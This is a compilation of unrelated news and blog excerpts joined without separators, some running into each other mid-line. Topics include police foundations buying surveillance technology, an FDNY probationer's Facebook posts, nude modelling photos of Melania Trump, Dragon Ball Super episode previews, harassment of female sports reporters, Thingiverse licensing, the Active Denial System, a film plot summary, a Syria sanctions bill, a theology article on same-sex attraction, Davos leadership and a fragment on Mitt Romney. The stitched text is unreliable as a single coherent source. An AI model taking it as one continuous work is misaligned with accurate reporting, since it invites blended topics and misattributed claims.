from the what-the-public-doesn't-know-will-probably-irritate-them-to-no-end dept
The less the public knows about law enforcement surveillance technology, the better. That's the thought process governing the purchase and deployment of technology like Stingray devices and automatic license plate readers. In the case of the former, even the nation's top cops (the FBI) actively discourage talking about the cell tower spoofers through the use of restrictive non-disclosure agreements.
Being public entities, it's sometimes hard to keep the public and local law enforcement's new tools and toys separated. FOIA requests and a whole lot of persistence have managed to uncover details about surveillance tech, but what's turned over is often heavily-redacted or several months out of date. The purchasing process should run through local governing bodies, but many of those are only too happy to defer to law enforcement and rubber-stamp purchases sight unseen or keep discussions of purchases off the public records.
If the normal routes -- as deferential as they are -- seem to be a bit too "leaky," many law enforcement agencies have a third option available to keep the public in the dark about their technology acquisitions: private funding.
Across the nation, private foundations are increasingly being tapped to provide police with technology and weaponry that -- were it purchased with public money -- would come under far closer scrutiny.
In Los Angeles, foundation money has been used to buy hundreds of thousands of dollars' worth of license plate readers, which were the subject of a civil-rights lawsuit filed against the region's law enforcement agencies by the American Civil Liberties Union of Southern California and the Electronic Frontier Foundation. (A judge rejected the groups' claims earlier this year.)
Private funds also have been used to upgrade "Stingray" devices, which have triggered debate in numerous jurisdictions because they vacuum up records of cellphone metadata, calls, text messages and data transfers over a half-mile radius.
The NYPD's citywide surveillance hub uses software from IBM, which gave between $10,000 and 25,000 to the foundation. According to its website and tax documents, the foundation helped fund creation of the hub. IBM did not respond when asked about its relationships with New York's police foundation and police department.
DynTek Inc. made a contribution of similar size to the foundation and has won more than $47 million in technology contracts with New York City since 2008. It lobbied the police department for more business as recently as this January, according to disclosure records. DynTek officials also did not respond to questions.
"There's very little discretionary money for the department," said Steve Soboroff, a businessman who is president of the Los Angeles Police Commission, the civilian board that oversees the LAPD's policies and operations. "A grant application to the foundation cuts all the red tape, or almost all of the red tape."
Soboroff said he had no concerns that companies were donating to the foundation to improve their chances to do business with the city -- donors were typically driven by "an insatiable appetite to help," he said, not self-interest.
These private foundations have been useful in the past, supplying cops with needed equipment like bulletproof vests and office equipment during times of budget shortfalls. Unfortunately, they've now stretched far beyond funding to fill in budgetary gaps to become the checkbook of choice when purchasing controversial surveillance technology.Not only do these foundations help law enforcement sidestep public accountability, but they also serve as convenient recipients of private contractors' largesse. The LAPD avoided creating a paper trail when Palantir and Target Corp. teamed up to donate the former's surveillance software to the department through the Los Angeles Police Foundation.These foundations are also used a lobbying proxy. Contractors hoping to receive city contracts grease the wheels by donating funds or products to the private foundations, again skirting accountability by taking advantage of looser disclosure requirements.Defenders of these accountability-skirting foundations portray them as nothing more than more efficient ways to get police departments the tools they need.And, hilariously, they portray the generous donations by private contractors (with eyes on securing city contracts) as nothing more than pure, unstoppable acts of charity.Some of this "insatiable appetite to help" more closely resembles straight-up lobbying combined with the infamous governmental "revolving door." Motorola, vying for a $600 million city contract, donated more than $164,000 to the Los Angeles Police Foundation and placed former chief Bill Bratton (now New York City's police commissioner) on its board of directors, a position that paid $240,000 a year. Motorola ended up with the contract, despite a good showing by its main competitor Raytheon, which dumped $311,000 into the foundation over the same period.The problems here are numerous. These foundations allow police departments to acquire controversial surveillance technology with very little transparency. There appears to be no oversight on the spending -- something that is to be expected when a public entity decides to start making purchases using private funds. As the ProPublica article points out, there will be more of this in the future. What used to be something only available to the nation's two largest police forces (NYPD, LAPD) is becoming more common elsewhere. Foundations like these are popping up around the country and are being used similarly. One foundation in Atlanta, Georgia paid for the citywide network of surveillance cameras as well as the communication center where these feeds were viewed.There's likely no simple fix to this problem or at least, not one that won't do considerable collateral damage. The default mode should be that if a public entity is spending money, it needs to be accountable for the expenditures, no matter where the funds originated. Even if city officials can't prevent the purchase of items with private funds, they should be able to force the creation of a paper trail that can be accessed by the public.
Filed Under: accountability, police, private funds, surveillanceFDNY probie’s Facebook posts about training extends probationary period 5 years. Some think he should have been fired for repeat offense.
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New York Post reporter Susan Edelman, who discovered the trail of racial and hate filled tweets that derailed a few careers in FDNY EMS (including FDNY Commissioner Sal Cassano's son), has been focusing her reporting efforts on classes at the FDNY Academy. Edelman's recent reports were on a female probationary firefighter who was dubbed the "Teflon probie" because of the many chances she had been given to complete a running test. Today, Edelman tells us about the 35-year-old ex-rapper Trilain Smith, a probie who has been punished by Commissioner Cassano for his postings about FDNY.
According to Edelman, the 35-year-old Smith had been previously warned about violating the department's social-media policy for postings of sexually suggestive pictures dressed in firefighter gear. Then the Facebook post seen above occurred which included the line, “These n- – -as try to kill you start to finish!”. Smith was not fired by Cassano but he was barred from the graduation ceremony for his class, lost 90-days pay and had his probationary period stretched from 18 months to five years.
Susan Edelman, New York Post:Here’s the nation’s would-be first lady — and right beside her, a second lady.
Three years before she met husband Donald Trump, Melania Trump was snapped in a nude frolic with another female model, bombshell photos obtained exclusively by The Post show.
The lesbian-themed pics are from a two-day photo shoot in Manhattan in 1995, when Melania Knauss, as she was called, was 25 years old and modeling under the name “Melania K.”
(Photographer Alé de Basseville later told The Post that he misspoke, and the photo session actually took place in 1996 in Manhattan, and appeared in a 1997 issue of the magazine.)
Several were featured in Max Magazine, a now-defunct French men’s monthly, more than 20 years ago. Others have never been in print — until now.
The raciest of the photos shows Melania lying nude in a bed as Scandinavian model Emma Eriksson, also naked, embraces her from behind, just below her breasts, which are fully exposed.
In another photo, Eriksson wears sheer stockings, a low-cut bustier, high heels and a long robe — all designed by John Galliano — and raises a whip as if preparing to spank Melania, who pretends to recoil. Melania is more conservatively dressed in a skin-tight gown and high heels.
“I always loved women together, because I have been with a lot of women who desired the ménage à trois,” said Jarl Ale de Basseville, the French fashion photographer who snapped the pictures.
“This is beauty and not porn. I am always shocked by the porn industry because they are destroying the emotion and the essence of purity and simplicity.”
see also Melania Trump like you’ve never seen her before Donald Trump thinks his wife will be a model first...
The shoot took place in a Chelsea apartment that doubled as a photo studio, said de Basseville, a Paris artist and fashion photographer who was briefly based in New York in the mid-’90s.
Part of the shoot, which de Basseville said was inspired by Renaissance art, took place on the building’s rooftop, said a fashion-industry insider who was present at one of the photo sessions.
Melania behaved “like a true professional” during one of the nighttime shoots with Eriksson, the source said.
“She was charming throughout,” said the source, adding that the pics’ lesbian theme didn’t faze her. “She was always smiling, with a very pleasant personality and was polite and very well educated.”
Melania had recently arrived in the city from modeling stints in Paris and Milan at the time. In Gotham, she was booked for mostly commercial work and was later featured in an ad for Camel cigarettes, the source told The Post.
Her sexy photo spread appeared in the January 1996 issue of Max Magazine, whose cover featured a photo of supermodel Cindy Crawford.
In addition to the lesbian-themed shots, de Basseville took several nude pictures of Melania from different angles.
In one of them, Melania pouts at the camera while clad only in stilettos. In another, her back is to the camera, and her arms are raised as if up against a wall.
“I think it is important to show the beauty and freedom of the woman, and I am very proud of these pictures because they celebrate Melania’s beauty, ’’ de Basseville said.
Asked about the photos, Donald Trump said: “Melania was one of the most successful models, and she did many photo shoots, including for covers and major magazines. This was a picture taken for a European magazine prior to my knowing Melania. In Europe, pictures like this are very fashionable and common.”
The Slovenian-born beauty, now 46, first met Trump at a Fashion Week party in 1998. They married in January 2005 and have one son, Baron, 10.
She has modeled for Sports Illustrated and Vogue among other publications, posing for such top photographers as Helmut Newton and Mario Testino.The November 2015 issue of Saikyō Jump, released today in Japan (02 October 2015), lays out the upcoming story for Dragon Ball Super up through episode 20:
Episode #13 — 04 October 2015
Super Saiyan God Son Goku and Beerus’ super-fierce fight gets more and more intense!!
Super Saiyan God Son Goku and Beerus’ super-fierce fight gets more and more intense!! Episode #14 — 11 October 2015
During his battle with Beerus, an unexpected change happens to Goku, who had been a Super Saiyan God…!?
During his battle with Beerus, an unexpected change happens to Goku, who had been a Super Saiyan God…!? Episode #15 — 18 October 2015
After the battle with Beerus wraps up, a terrible visitor comes to Satan!?
After the battle with Beerus wraps up, a terrible visitor comes to Satan!? Episode #16 — 25 October 2015
With the battle over, one day Kuririn visits Goku. His unexpected request is…!?
With the battle over, one day Kuririn visits Goku. His unexpected request is…!? Episode #17 — 01 November 2015
Some time has passed on Earth. Gohan and Videl’s daughter is finally born!!
Some time has passed on Earth. Gohan and Videl’s daughter is finally born!! Episode #18 — 08 November 2015
Goku departs Earth and begins training under Whis. The surprising training method is…!?
Goku departs Earth and begins training under Whis. The surprising training method is…!? Episode #19 — 15 November 2015
Goku throws himself into training under Whis. Meanwhile in Hell, you-know-who suffers intense torment.
Goku throws himself into training under Whis. Meanwhile in Hell, you-know-who suffers intense torment. Episode #20 — 22 November 2015
An unprecedented threat bears down on Earth!! At this time, an old friend comes to visit Bulma…!?
Judging by the short summaries, the Battle of Gods re-telling will wrap up by Episode 15 as the series then transfers to an interstitial bit of material not actually shown in either Battle of Gods or Revival of “F”. Freeza material seemingly begins in Episode 19, with Jaco likely making his appearance in Episode 20.
Dragon Ball Super is expected to re-tell Revival of “F” before making its way to a new story arc involving Universe 6.
Episode 13 of Dragon Ball Super airs this weekend (04 October 2015 at 9:00 a.m. on Fuji TV in Japan), and will mark the debut of the series’ second closing theme song, “Starring Star” by KEYTALK.
The November 2015 issue of Saikyō Jump, which comes packed with a B3-sized Dragon Ball Super poster, is available to order via CDJapan and Amazon Japan.In August 2015, I wrote a piece that chronicled sexual harassment toward female sports reporters, hoping to provide some insight as to how often this happens to women in sports media. This week I decided this week to re-run the piece (with additional reporting below) given the nationwide conversation about sexual harassment and assault, as well as the near-daily stories about alleged and confirmed sexual predation.
Here is the 2015 piece:
There was the Major League Baseball player who dropped his pants in the locker room and called out her name, so she’d turn around and see his penis hanging out. Then there was the player who started flirting with her at the venue before he graduated to calling her room on the road, repeatedly asking her to “come down and watch a movie in his room.” She said no, of course, but the player in question wouldn’t speak with her for months after she declined his advances.
But the worst part was the rumors. At one point there was an NHL player who pulled her aside to say that one of his teammates was telling everyone on the team she covered that they had slept together.
“There was no paper trail, just my word against his, and since I was fighting an unknown enemy, I couldn’t even defend myself,” said the female television sports reporter, who has worked at the network level.
If you think such stories are uncommon, think again. Most women who work in the sports media have similar stories to tell.
When a female sports reporter who works for a major East Coast outlet was new to the business, an MLB team employee asked for her phone number, which he said was for another media outlet that wanted to have her on one of their shows. Turned out, it was for a starter on the team. She didn't know this until the player started calling and texting her, asking her to send photos and to talk to him before games. She tried to explain the boundaries, but he kept contacting her regularly, despite her pleas to him and to the team employee who had passed on her number. It finally ended when he got hurt with a season-ending injury and left town.
“I've been invited to hotel rooms while on the road more times than I can count,” said one East Coast-based female sports reporter who has worked for newspapers and websites. “One agent was fixated on me giving him a number of how many penises I had seen in locker rooms through the years and how they compared. I eventually stopped calling him, which meant that sometimes I was unable to get information I needed. I also recall trying to build a relationship with a team executive who I was pretty sure was a source for other reporters. We were supposed to meet up for a drink during a big work event, but he kept changing the subject away from work to my personal life and whether or not I was dating anyone. When he put his hand on my back, that was my cue to leave. I stopped trying to communicate with him, which was a professional disadvantage since he was most likely helping my competitors.”
Then there’s the female sports reporter based in a major market who has been asked out repeatedly by coaches, agents and players of various sports. Once, an NFL player told her that it was cool she was married because so was he. There was also the time a source offered to let her sleep in his hotel room during a championship game. Then there was the time the Division I basketball coach hit on her.
While covering hockey, one West Coast-based sports television reporter recalled a player skating by during a practice to say, “Nice lip gloss, it'll look good on my c--- tonight.” There were the GMs over the years who told the woman that females should not be sports reporters. When traveling on the road with pro teams, the reporter said she had players knocking on her door at 4 a.m. “Lots of the time it all starts on Twitter,” she said. “I follow athletes for information, they follow me back, they message me, continue to message me, etc. I've had a lot of good interactions on Twitter with athletes, professional relationships, but lots take them too far. They call at 5 a.m. They Snapchat inappropriate things. On the road, I make sure to not even make eye contact with players or even really talk to them unless I'm doing an interview. You block everything out or else you become a ‘whistle blower’ and no one wants to have you around.”
And on and on and on it goes.
Those who read this column likely have no idea how often such harassment happens to females who work in the sports media. Last week, after Norwood Teague resigned as athletic director at the University of Minnesota following two university employees accusing him of sexual harassment, Amelia Rayno, who covers the Minnesota men’s basketball team for Minneapolis's Star Tribune, wrote a first-person piece on Teague’s behavior toward her. Bravo to Rayno for giving light to the issue. She declined to speak further on the topic to SI.com, opting for the piece to speak for itself.
The women in this story asked for anonymity, and it was granted. Why grant it? Because in the real world, there are repercussions, among colleagues, employers and especially with the teams they cover, for naming names.
Many women in the sports media are the only female reporters in a locker room (or one of a few) or at a press conference. All the women quoted in this story, and the other female sports media people with whom I spoke for it, have excellent journalism reputations.
What about taking legal action against those who create a hostile work environment?
“The problem with any of those suits, and I once considered one, is that proving it is so difficult and the repercussions in the business could be fatal,” a prominent reporter told me. “Who is going to hire a reporter who sues her employer or a team?”
In a well-done roundtable compiled by Kami Mattioli of the Sporting News, USA Today college sports reporter Nicole Auerbach offered a cautionary note for those in her field: “I have noticed that female reporters will often share stories of inappropriate behavior with other female reporters as a sort of warning—be careful of this guy, try this line if you're in a similar situation, etc.” Auerbach said. “Having other women in the industry to rely on and reach out to about various experiences is vital.”
To that end, Rayno had reached out to ESPN’s Dana O’Neil, one of the nation’s top college basketball reporters, for advice about how to proceed regarding her allegations of Teague’s harassment. O'Neil, Rayno said, advised her to immediately alert her editors.
I asked Jennifer Overman, the president of the Association for Women in Sports Media and an ESPN news editor, what she would have advised in the same situation.
The first and probably most important thing to do is to make your employer aware of what is going on,” Overman said. “Share any information you have—text messages, voicemails, emails, etc.—and keep copies for your own records. Even if you’re not entirely sure you’re reading a situation correctly, do not wait until it escalates or becomes a bigger problem. Do not try to handle it on your own, or ignore it, because it’s an important beat or a new job or you don’t want to be perceived in some sort of negative way. Maintain your professionalism with all involved and remember that harassment is never acceptable, whether this is your first job or your 10th.”
Something many women have told me, and something I’ve witnessed myself, is athletes flashing female reporters in the locker room and men in the sports field sending female reporters photos of themselves in various states of undress. Then there are the “grabbers” during live shots for women who appear on sports television. I could also write multiple columns on what women in the sports media deal with on social media.
“It doesn’t happen often, but I have had my breasts and butt squeezed, the old ‘hand at the small my back’ that slides down and/or across, a stolen kiss on the cheek, etc.,” said one female sports anchor in an East Coast market. “While it all seems innocent enough, it can be really uncomfortable, particularly the subtle touching. It makes you feel like you are not even human, but instead an object for someone else to ogle or fondle.”
On the issue of what responsibility a media entity such as the Star Tribune has for creating a safe workplace environment for female reporters, including when the harassment comes from an outside source, Marcia L. McCormick, a professor of law and director of the Wefel Center for Employment Law at Saint Louis University, said that a media company is like any other employer in that it is governed by state and federal law that prohibits employment discrimination.
“Maintaining a workplace free from harassment on the basis of sex for both men and women is part of that legal responsibility,” McCormick said. “The level of responsibility depends on the context in which the harassing conduct occurs. An employer is more responsible for the conduct of its managers and supervisors. It is less responsible for the conduct of those outside the employer’s control, like a source in the context of a reporter.”
McCormick said one way in which Rayno’s case is especially challenging is that it involves a female reporter in a male-dominated field.
“Reactions of some people to this story will be that the media entities should protect female reporters in ways we don't worry about when it comes to male reporters.” she said |
on to create Thingiverse, became the darlings of the Open Hardware movement, and acquired $10 million from investors.
All things change, of course, and Makerbot is no exception. Along with the (again, rumored) closed-source Replicator 2, [Prusa] pointed out the Terms of Use for Thingiverse say that Thingiverse – and thus Makerbot Industries – owns everything submitted by Thingiverse users. [Prusa] started an Occupy Thingiverse movement in response to this discovery.
Honestly, we hope [Josef Prusa] is wrong on this one. We hope the specific clauses in Thingiverse’s Terms of Use granting itself a license to do whatever it wants with uploaded Things is just a bunch of legal mumbo jumbo added in by lawyers to protect Thingiverse from being sued by crazy people. Still, if rumors are true, it may be a portent of things to come.
In any event, [Prusa] will be taking his Thingiverse things down. He plans on posting his stuff on GitHub, probably the most Open Source-friendly community in existence. You can do the same with this GitHub template for 3D printed objects.
So, learned reader of Hackaday, what do you make of this? Is Makerbot right to close up their projects? Are we finally becoming disillusioned with Open Hardware? What say you?It was a decision that was bound to attract its fair share of controversy. In 2010, the Los Angeles County Sheriff’s Department held a press conference to announce plans to start using a new nonlethal weapon that shoots an invisible energy beam. The weapon uses extremely short radio waves - called millimeter waves - to heat the top layer of skin, which causes an intense burning sensation.
The device, which was developed over a decade ago as part of a once-classified military project, causes searing pain, but no actual physical damage to its human targets. The police there planned to use it in one of their jails to help control inmates, particularly in case of fights.
“We were interested in that because, it’s almost like, if it worked, it would be the holy grail for police: a device that might provide pain compliance [for prisoners] without hurting them,” says Commander Robert Osborne. “Everything else that causes pain actually hurts them.”
Indeed, it seemed like the perfect weapon: unlike a Taser, which has a limited range and can only be used against one person at a time, this was more like a science fiction phaser, shooting out a beam that could strike and repel multiple people quickly and from relatively great distances.
The press conference attracted a slew of national, and even international interest, as well as a rebuke from the American Civil Liberties Union. “We strongly oppose the view that it is ever appropriate to deploy against the detainees of a county jail - or any other incarcerated population - a military weapon intended to cause intolerable pain and capable of causing severe injury or death,” the organization wrote to the sheriff, citing a case where the military version of the weapon accidentally injured people during testing.
Osborne expected the objections, but he says that he believed that the more people knew about the technology, the more supportive they would be of it. The press conference, recalls Osborne, was a way of blunting potential criticism.
“We didn’t want to begin using a device like that in any kind of a clandestine way,” he says.
In the end, it didn’t matter. Several days after the press conference, the National Institute of Justice, a US government agency that had supplied the weapon, called Osborne and asked him to hold off using it, citing questions from the Federal Communications Commission, which regulates radio frequency devices.
“Basically, it sat in the room where we did our training for close to a year,” says Osborne. Frustrated, he finally called the institute and asked them to pick up the device.
‘Plane ray’
The National Institute of Justice did not respond to queries about what happened with the nonlethal weapon, other than to say it is still evaluating it. Raytheon, which builds and markets the device under the name Silent Guardian, also declined to comment on what happened. “We've provided our customers with directed energy systems that perform safely as intended,” says David Desilets, a Raytheon spokesman.
But it isn’t just local law enforcement that has had trouble fielding this sort of nonlethal weapon; the technology that was supposed to be used in the California jail was originally developed by the military, which wanted to employ it as a weapon for crowd control, or to repel attackers on a military base. The military version, called the Active Denial System (ADS), can be put on a Humvee or a truck, and has a longer-range than the police version.
But the military weapon, despite making its public debut a decade ago, has also never been used in operations, even though the Pentagon has already spent over $55 million on developing the technology. In 2010, the ADS was sent to Afghanistan, but it was returned to the United States without ever being used.
“It is still a novel technology,” says Marine Colonel Tracy Tafolla, the head of the Pentagon’s Joint Nonlethal Weapons Program (JNLWP), which is responsible for helping to develop the Active Denial System and other nonlethal weapons.
Col. Tafolla maintains the weapons “do not cause risk of significant injury, and are safe to employ.” Indeed, more than 7,000 volunteers have so far been zapped with the device and in March of this year, the JNLWP sponsored a demonstration of the weapon on reporters.
But Franz Gayl, the Marine Corps science and technology advisor, says the real problem with deploying nonlethal weapons has been bureaucratic politics. The current military version of the system is still too cumbersome to be used on the battlefield, according to Gayl. It takes hours to power up and is expensive to use.
Gayl, who several years ago lobbied to get the smaller version of the ADS to troops in Iraq, says the military scientists have wasted time trying come up with new-fangled versions of the weapon, rather than focusing on what the troops really need, such as a more compact version of the weapon.
The Air Force, for example, has been looking at the putting the weapon on an AC-130 aircraft, even before the ground-based system had ever been deployed. That really had no practical applications, said Gayl in an interview last year. “What would you do [with it]?” he said. “You shoot this beam at people and make them hop around?”
Military officials involved in developing the ADS have long acknowledged its limitations, but argue that it has still proved through testing that it could be useful in specific scenarios, such as at a checkpoint or to control crowds. The Pentagon is also working to improve the weapon, by making it cheaper and smaller. “We are investing in shrinking that technology down,” says Col. Tafolla.
Some believe it is concern about public outrage, rather the technology itself, which has stopped the military, and the police, from using these new weapons.
“I blame journalists,” says John Alexander, a retired Army colonel who once headed a nonlethal weapons program at Los Alamos National Laboratory in New Mexico. “When this thing first came out, they called it the ‘pain ray,’ and ‘human cookery,’ that is just totally not true.”
The ultimate question, however, is whether the military will ever deploy the weapon it spent so much time and money developing. In a 2010 report, Government Accountability Office, an investigative arm of the US Congress, points to a disconnect between the nonlethal weapons being developed and the needs on the battlefield. Today, no military commander is requesting ADS for use on the battlefield, though Col. Tafolla remains optimistic. “There are needs it will fill,” he says.
Back in Los Angeles, Osborne doesn’t blame journalists. He says that those reporters who came to the press conference and saw the device reported fairly on it. He still believes that the key to getting this sort of weapon deployed is educating people about what it does—and does not—do. “The more ignorant of the facts someone was, the greater the likelihood they would respond to it in extremes,” he said.
Rather, Osborne’s frustration is with the government’s lack of resolve. “I invested two years of my life on that project,” he said. “I never did understand why the project was halted.”
If you would like to comment on this story or anything else you have seen on Future, head over to our Facebook page or message us on Twitter.Architect Peter Mitchell (Tom Selleck), cartoonist Michael Kellam (Steve Guttenberg), and actor Jack Holden (Ted Danson) are happy bachelors in their shared New York City apartment, with frequent parties and flings with women. One day, a baby named Mary arrives on their doorstep with a note revealing she is the result of Jack’s tryst with an actress named Sylvia during a Shakespeare in the Park production a year prior. Jack is in Turkey shooting a B movie, and made arrangements with a director friend to have a package delivered to the apartment. Jack asked Peter and Michael to keep the delivery a secret per his friend's wishes; when Mary arrives, they mistakenly believe she is the “package.”
Peter and Michael are totally befuddled how to care for Mary, and Peter leaves to buy supplies. Their landlady Mrs. Hathaway (Cynthia Harris) delivers a small box – the actual "package" of heroin – which Michael tosses aside. Peter and Michael learn to properly care for Mary, including diaper changes, baths, and feedings.
The next day, two drug dealers arrive at the apartment to retrieve the package. Peter and Michael mistakenly give them Mary, along with a can of powdered milk the dealers believe is the heroin. Peter discovers the actual package; realizing the mix-up, he runs downstairs but trips, spilling the package's contents. He gathers up the drugs and confronts the men outside, causing a scuffle. A police officer on horseback intervenes; Peter rescues Mary, but the dealers flee with the can of powdered milk. The officer detains Peter and Michael at the apartment until Sgt. Melkowitz (Philip Bosco), a narcotics officer, arrives to question them. Jack calls from Turkey, but Peter and Michael are unable to talk openly as they are being recorded. They successfully hide the drugs and learn that Jack's friend Paul Milner is also a drug dealer. A suspicious Melkowitz puts them under surveillance.
Mrs. Hathaway is persuaded to babysit Mary while Peter and Michael leave for work. Returning home, they find Mrs. Hathaway bound and gagged and the apartment ransacked by the dealers, but Mary safe; a note threatens, "Next time we'll take the baby". Peter and Michael continue to care for Mary, adjusting to surrogate fatherhood and growing attached to her.
Peter incapacitates an intruder, who turns out to be Jack, returning early after his movie role was cut. Jack assures Peter and Michael he knew nothing about the heroin. He initially denies his connection to Mary, but Sylvia’s note convinces him he is Mary’s father. Peter and Michael pass all parenting responsibility to Jack, who quickly grows to love her.
They receive a news clipping in the mail – Milner has been attacked by the drug dealers and hospitalized – with another threat: “Don't let this happen to you!” Peter, Michael, and Jack formulate a plan to trap the dealers, and arrange a meeting. Jack, disguised as a pregnant woman, leaves the building with Mary, while Peter and Michael leave in a cab, followed by undercover officers, but manage to lose them in another cab driven by Jack. The three meet the dealers at the top floor of a construction site. Michael, hidden in the vents, records Peter’s conversation with the dealers but falls into the room, and a chase ensues. They manage to trap the dealers in an elevator as the police arrive. With the recording, they prove their innocence to Melkowitz and the dealers are arrested.
Peter, Michael, and Jack fully embrace their role as Mary's guardians, until Sylvia (Nancy Travis) arrives to take Mary with her to London. After Sylvia leaves with Mary, the three realize how desperately they miss the baby. They race to the airport just as Sylvia’s plane departs. Defeated, they return home to find Sylvia and Mary at the door. Sylvia tearfully explains she doesn’t want to give up her acting career but must if she has to raise Mary alone. The three invite her and Mary to move in with them; she accepts, and the four of them live happily with the baby.Obama administration officials lobbied against a bill that would have sanctioned Syrian dictator Bashar al-Assad for war crimes in order to salvage Secretary of State John Kerry’s failed ceasefire with Russia, according to reports.
The Caesar Syria Protection Act, named after the Syrian defector who documented 55,000 pictures exhibiting Assad’s torture and murder of civilians, initially had 50 co-sponsors (mostly Democrats), bi-partisan support and was scheduled to be fast-tracked through Congress. That is, until the White House intervened and pushed Democratic party leadership to kill it.
Obama administration staffers called both Republican and Democratic leaders Friday, pushing them to table the bill; effectively preventing it from being passed, according to a piece by The Washington Post’s Josh Rogin, published Tuesday.
“After President Obama’s disastrous handling of Syria, he’s now adding insult to injury by pressuring House Democrats to kill a bipartisan bill aimed at cleaning up his mess,” AshLee Strong, Speaker of the House Paul Ryan’s press secretary, told Rogin. “We hope members will have a chance to vote on this important legislation soon.”
Democratic and Republican supporters of the bill planned to push it through the House of Representatives this week under a special streamlined process that would require two-thirds support for passage. Now that Democratic leadership has pulled out of the agreement, the bill has essentially been hamstrung.
A White House source told Rogin that Democratic leaders voluntarily chose to suspend the bill, but the fact that their reversal coincided with Kerry’s ceasefire with Russia raises serious questions. The bill passed through the House Foreign Affairs Committee in July with little trouble, a rarity in the current bitterly partisan congress.
“It was the desire of the National Security Council that this bill not move,” a congressional staffer told Rogin. “White House legislative affairs staff said the timing was not good.”
Indeed, the timing was not good for Kerry, who recently made a desperate attempt to revive a so-called “cessation of hostilities” with Russia in Syria. The agreement sought to use a seven-day cessation in fighting as an opportunity to hammer out a more permanent agreement, however, the deal was dead on arrival. Multiple Syrian opposition groups refused to sign on to the agreement, while Russia and Assad engaged in one of their deadliest bombing campaigns against civilians ever as soon as it ended Monday. (RELATED: Obama Administration Apologizes To Assad For Bombing Syrian Troops)
The United Nations estimated that as many as 400,000 people have died in the 5-year-long Syrian civil war.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.The Journal of the Evangelical Theological Society has just published an article that I have been working on for a little over a year. Even though the piece is titled “Is Homosexual Orientation Sinful?,” it’s really just an extended treatment of the ethics of sexual attraction. My contention is that the Bible speaks a clear word about our experience of sexual attraction be it heterosexual, homosexual, or otherwise. Whenever we desire something that God forbids, we are experiencing an “attraction” that is sinful and that God would have us to repent of.
If this thesis is correct, then it is an error to claim that same-sex attraction is merely a temptation that is not itself sinful. This is an issue of great pastoral urgency because it informs us how to be faithful to Christ in our experience of unwholesome sexual attractions. And that is an issue that we all must reckon with, not just those who are same-sex attracted.
The material in this article will appear later this year in a longer work that Heath Lambert and I have co-authored on the ethics of same-sex attraction:
Denny Burk and Heath Lambert, Transforming Homosexuality: How to Live Faithfully with Same-Sex Attraction (Phillipsburg, NJ: P&R, 2015).
The argument in this forthcoming book is aimed at a popular audience and further develops the pastoral implications of this particular view of same-sex attraction. Heath and I are eager for the release of this book and for evangelicals to take up this conversation in earnest. Until then, you can read the technical version in the JETS article linked below.THE two most popular words in the business lexicon are probably “global” and “leadership”. Put them together and people in suits start to salivate. That is perhaps why more than 1,000 corporate bosses are flocking to Davos, a Swiss ski resort, this week. There, at the annual bash of the World Economic Forum (WEF), they sip vin des glaciers with some 50 heads of state and 300 cabinet ministers. Whatever the topic, from deficits to deadly diseases, the talk is all of providing “global leadership”. And not just in the short term: the WEF rigorously selects and nurtures “Young Global Leaders” to form a “next-generation leadership community that is mission-led and principle-driven”.
The rise of the rootless
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The cult of the global leader is spreading. Business schools are full of it. INSEAD calls itself “the business school for the world” and has campuses in Singapore and Abu Dhabi as well as Fontainebleau. Fuqua School of Business at Duke University boasts that it is “the world’s first legitimately global business school”; it has campuses in six countries. Big firms no longer aspire merely to train competent managers. They pride themselves on their ability to select and train leaders for global roles.
This is not all guff. Many industries are globalising fast, creating waves of disruption. Parochial companies may perish. Global ones complain that a shortage of global talent impedes their growth, especially in emerging markets. Yet they rapidly burn through what global talent they have: by one estimate, nearly 80% of CEOs of S&P 500 firms are ousted before retirement.
So there is clearly a need for global leadership. But when the public look at what is on offer, they are not impressed. Many of the bankers and politicians caught dozing by the financial crisis were regulars at Davos. Ordinary folk trust Davos Man no more than they would a lobbyist for the Worldwide Federation of Weasels. A survey by Edelman, a public-relations firm, finds that only 18% of people trust business leaders to tell the truth. For political leaders, the figure is 13%.
What can be done? Much of the answer lies in giving the little guys better tools to keep Davos Man in check: stricter accountability for government leaders, sounder regulations to curb corporate abuses. But there is also a case for reforming the global-leadership industry. The people who run it need to think hard about what they mean by both globalisation and leadership.
People whose jobs require constant whizzing through airports often overestimate the extent of globalisation. Most other folk live in the same country all their lives. Most trade occurs within national borders. Nearly all politics is local. Company bosses who fail to notice this may underestimate political risks or ignore cultural differences, and such errors may prove disastrous. The best global leaders need to immerse themselves in local cultures.
Leadership has always been a slippery concept, and is getting slipperier by the day. In the West, as deference collapses and knowledge workers rise, companies have flattened their management hierarchies. But many non-Western companies continue to believe in hierarchy. In India and China, leaders are often lofty figures and companies have lots of rungs to be climbed. And disruptive innovation can put a premium on command-and-control. Apple thrived as a dictatorship under Steve Jobs; Nokia’s consensus-seeking leaders let the firm crumble.
Global-leadership gurus also need to think more carefully about the relationship between business and the wider world. It sounds noble to promise, as practically every boss in Davos does, that your company will solve all manner of problems unrelated to its core business. For companies in emerging markets, this may make sense: if they do not build a road to their mine in a remote area, no one else will. In rich countries, however, governments leave fewer gaps that so obviously need filling. Talk of social responsibility needs to be realistic: it is more dangerous to promise too much than too little.
There are signs that the global-leadership industry is trying to shape up. Harvard Business School obliges its students to spend time in other countries. Companies increasingly expect their high-flyers to spend time running far-flung subsidiaries. Henkel, a German chemical-maker, insists that executives live in at least two different countries before being considered for promotion. Nestlé, a Swiss food company, boasts executive board members from eight different countries. The WEF urges charities to learn from businesses and vice versa.
Management gurus are producing new measuring devices: the Global Leadership and Organisational Behaviour Effectiveness (GLOBE) project has surveyed more than 17,000 managers in 62 countries to identify cultural differences that leaders ought to know about. Americans are unusually assertive, apparently, and Brazilians surprisingly unconcerned about the future.
World leaders with wings of wax
But there is still a flaw with the very notion of global leadership. Abraham Lincoln observed that “nearly all men can stand adversity but if you want to test a man’s character, give him power.” Similar temptations afflict those who are given the title of “young global leader”. Clever businesspeople have a tendency to be arrogant at the best of the times; telling them that they are masters of the universe can only magnify it. Arrogance breeds mistakes: look at all the empire-building bosses who attempt ambitious mergers despite ample evidence that such mergers usually fail.
If leadership has a secret sauce, it may well be humility. A humble boss understands that there are things he doesn’t know. He listens: not only to the other bigwigs in Davos, but also to the kind of people who don’t get invited, such as his customers.by Greg Palast
He's kidding, right? Did I just hear Mitt Romney say, "I would do nothing to hurt the US auto industry"
Really? REALLY?
Here's the facts, ma'am:
As I reported in this week's Nation magazine cover story "Mitt Romney's Bail-out Bonanza", the Romneys are in a special partnership with the vulture fund that bought Delphi, the former GM auto parts division.
